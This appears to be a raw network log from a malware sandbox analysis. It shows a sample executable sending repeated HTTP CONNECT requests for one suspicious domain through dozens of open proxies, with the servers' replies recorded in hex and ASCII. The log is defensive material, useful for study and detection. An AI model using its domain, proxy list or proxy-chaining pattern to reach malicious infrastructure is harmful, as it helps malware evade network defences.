Feb 23, 2024 09:45:21.689434052 CET	298	IN	Data Raw: 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6c 6f 67 69 Data Ascii: <script src="static/src/js/main.js"></script> <script src="static/src/js/login.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootstrap-tour.min.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootst
Feb 23, 2024 09:45:21.701879025 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 21 12 fe 14 57 aa c5 1c b0 d3 fa 89 97 20 e0 8d b1 9e fc 3a 94 8b c0 e9 93 b5 be 15 a7 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[!W :*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#C_r}zH&5{_G>atr
Feb 23, 2024 09:45:21.956558943 CET	494	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.56 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 67 72 2e 66 75 74 75 72 61 31 30 30 2e 63 6f 6d 2e 70 79 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Ubuntu) Server at agr.futura100.com.py Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.4	52093	162.223.89.84	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.431581974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.4	51870	58.234.116.197	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.433043957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.4	52121	172.64.86.217	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.447774887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.535453081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.4	52007	98.170.57.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.448648930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.4	52113	104.19.124.112	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.448704004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.536040068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.4	52012	51.15.230.100	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.448822021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.620125055 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.4	52116	4.246.129.129	2052	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.448827028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.4	51998	188.164.193.178	15342	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.450036049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.943802118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612473011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.830039978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.055263042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219430923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.377162933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.741163969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.266365051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.4	51969	51.83.140.70	8181	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.450819969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.633276939 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.4	51847	222.223.103.232	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.454489946 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:21.915879011 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.4	52068	139.180.39.210	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.457376957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.646028042 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.4	52096	154.12.253.232	18402	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.461064100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.943753004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.443865061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.284288883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.022444963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.701339006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.444164991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834676027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.4	52043	194.163.129.179	21912	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.464689970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.975018024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.680668116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.866131067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.975126982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178900003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.365931034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681828976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.4	51113	54.39.50.68	24535	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.477788925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.475013018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.475271940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475481033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.4	52127	172.245.16.47	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.492618084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.4	51941	200.43.231.8	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.496273994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.4	51131	189.240.60.169	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.496685028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.688967943 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.4	51878	171.247.98.90	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.503812075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.4	51101	141.94.174.6	40280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.503966093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.4	52091	113.30.149.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.504302025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.4	51922	103.163.51.254	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.506006002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.4	51115	178.128.200.87	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.509670973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.578538895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700186014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834665060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.834351063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:57.834278107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:09.904184103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.4	52154	45.12.31.104	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.511446953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.598742962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.4	51931	103.153.154.6	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.512856960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.827050924 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

